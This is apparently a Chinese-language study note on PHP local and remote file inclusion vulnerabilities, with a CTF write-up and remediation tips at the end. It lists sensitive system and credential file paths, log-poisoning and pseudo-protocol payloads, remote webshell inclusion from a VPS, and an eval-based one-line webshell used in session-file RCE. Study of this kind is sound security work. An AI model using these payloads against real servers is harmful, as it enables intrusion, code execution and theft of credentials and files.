PHP文件包含漏洞

PHP文件包含漏洞

Scroll Down

PHP文件包含漏洞

开发人员为了使得代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞

**相关函数:**include()、include_once()、require()、require_once()

include 和 require的区别在于,如果包含的文件有错误,include会继续往下执行,如果是require就不会

本地包含漏洞(LFI)

一个phpinfo.txt走天下

<?php
    phpinfo();
?>
<?php
    include("phpinfo.txt");
?>

只要文件内容复合php语法规范,那么任何扩展名都可以被php解析
包含非php语法规范原文件时,将会暴露其源代码

典型的漏洞代码

<?php
    $filename = $_GET['filename']; 
    include($filename); 
?>

filename没有进行过滤,可以被用户控制
这里可以结合目录遍历漏洞查看敏感信息

远程文件包含(RFI)

注:要确定php是否已经开启远程包含功能(默认是关闭)

alow_url_include = On

栗子:
www.text.com根目录存在phpinfo.txt

<?php
    include($_GET['a'])
?>

www.text.com?a=http://www.text.com/phpinfo.txt
若文件不存在,也可以通过观察暴露出的警告

敏感文件利用

Windows系统:

文件内容
C:\boot.ini系统版本
C:\windows\system32\intetsrv\MetaBase.xmlIIS配置文件
C:\windows\repair\sam存储Windows系统初次安装的密码
C:\Program Files\mysql\my.iniMysql配置
C:\windows\mysql\data\mysql\user.MYDMysql root
C:\window\php.inisphp配置信息
C:\windows\my.iniMysql配置文件

Unix/Linux系统:

文件内容
/etc/passwd
/usr/local/app/apache/conf/httpd.confapache默认配置文件
/usr/local/app/apache/conf/extra/httpd-vhosts.conf虚拟网站设置
/usr/local/app/php5/lib/php.iniphp相关设置
/etc/httpd/conf/httpd.confapache配置文件
/etc/my.cnfmysql的配置文件

日志文件利用

用户发起请求时会将请求写入 access.log

发生错误时将错误写入 error.log

一些常见的日志路径:

/var/log/nginx/access.log

/var/log/apache2/access.log

例如:访问www.bbb.com/<?phpinfo(); ?>,包含进去后再去访问日志文件就会触发文件包含漏洞

这里注意有输入的代码被转义的问题,可以利用bp抓包修改一下

远程包含shell

若目标主机allow_url_fopen的选项是激活的,然后包含一句话木马

(1) allow_url_fopen=on(2) allow_url_include=on

?filename=你的远程文件路径
?filename=http://vps/shell.txt

远程文件中的php代码会被解析

绕过限制

<?php
    $filename  = $_GET['filename'];
    include($filename,".html");
?>

%00截断->导致扩展名被截断

(1) magic_quotes_gpc=off (2) PHP<5.3.4
构造超过最大长度限制payload->系统会将后面的路径丢弃,扩展名被截断
Windows下目录的最大路径256BLinux下目录的最大路径长度为4096B

php伪协议

这里列出一些内置伪协议

php://input

代表可以访问请求的原始数据,可以获取到post的数据

allow_url_fopen: off/on

allow_url_include: on

index.php?file=php://input

POST:
<? phpinfo(); ?>

利用

遇到file_get_contents()可以利用该协议

file_get_contents("php://input");

POST:xxx

写木马
条件:php中开启allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
POST:
木马
命令执行
POST:

php://filter

一种元封装器,设计用于数据流打开时的筛选过滤应用。

参数:

resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>        任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用的payload:

php://filter/read=convert.base64-encode/resource=xxx.php
php://filter/convert.base64-encode/resource=/flag
php://filter/write=convert.base64-decode/resource=xxx.php 

这里就是使用convert.base64-encode这个过滤器,对xxx.php的内容进行base64编码后再读取

还有一些其他的编码绕过方式,目前还没有遇到,先不写了

file://

读取文件内容

file://[绝对路径及文件名]

?filename=file://...

data://

data:资源类型;编码,内容

data://text/plain,xxxxx
data:text/plain,xxxxx
data://text/plain;base64,xxxxx
data:text/plain;base64,xxxxx 

zip:// & bzip2:// & zlib://

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件

更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
<!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传-->
www.bbb.com?file=zip://xxx/phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
<!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)-->
www.bbb.com?file=compress.bzip2://xxx/phpinfo.bz2

3.compress.zlib://file.gz 
<!--压缩 phpinfo.txt 为 phpinfo.gz-->
www.bbb.com?file=compress.zlib://xxx/phpinfo.gz

phar://

www.bbb.com?file=phar://xxxx/phpinfo.jpg/phpinfo.txt

包含session

php的session文件保存路径可以在phpinfo中的session.save_path看到,若为空,说明在默认存放位置
命名格式:sess_[PHPSESSID]

1./var/lib/php/sess_PHPSESSID
(php5 or php 7 or php)
2./tmp/sess_PHPSESSID
3./tmp/sessions/sess_PHPSESSID

查看PHPSESSID
F12-Application-Cookies

一个小参考,先记录一些未来可能出现的考点
https://zhuanlan.zhihu.com/p/90879209

利用session文件包含漏洞RCE

当session中的内容可以控制(如传参内容没被过滤,传入的值存储到session中),就可以利用传参的过程获取敏感信息或RCE

NPU-CTF的超简单的php就是这么利用了,由于题目环境没了无法复现,直接干给个wp以作记录


超简单的php

一开始直接Source一把看到了phpinfo.php
里面的flag
当然是
假的!!

根据师傅的提示,从phpinfo中了解到是session包含

这里主要是绕过长度限制
写一个马:

<?Php eval($_GET['a']);?>
<?Php /*
/**/eval($_GET/*
*/['a']);?>

看msg.php可以看到限制的真实数据

这里ban掉了许多许多的命令执行函数,所以只能是php原生文件读取函数
QAQ对php函数实在不熟悉,下次一定

http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=phpinfo();

http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=scandir('\');

http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=var_dump(file_get_contents(''));

修复方式

禁止远程文件包含 allow_url_include=off
配置 open_basedir=指定目录,限制访问区域。
过滤../等特殊符号
修改Apache日志文件的存放地址
开启魔术引号 magic_quotes_qpc=on
尽量不要使用动态变量调用文件,直接写要包含的文件。

https://kb.hitcon.org/post/165429468072/%E9%80%8F%E9%81%8E-lfi-%E5%BC%95%E5%85%A5-php-session-%E6%AA%94%E6%A1%88%E8%A7%B8%E7%99%BC-rce
https://www.freebuf.com/articles/web/182280.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list
https://www.smi1e.top/文件包含漏洞与php伪协议/
https://www.php.net/manual/zh/filters.php
https://wiki.wgpsec.org/knowledge/web/file-includes.html#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%94%A8%E5%88%B0%E7%9A%84%E5%87%BD%E6%95%B0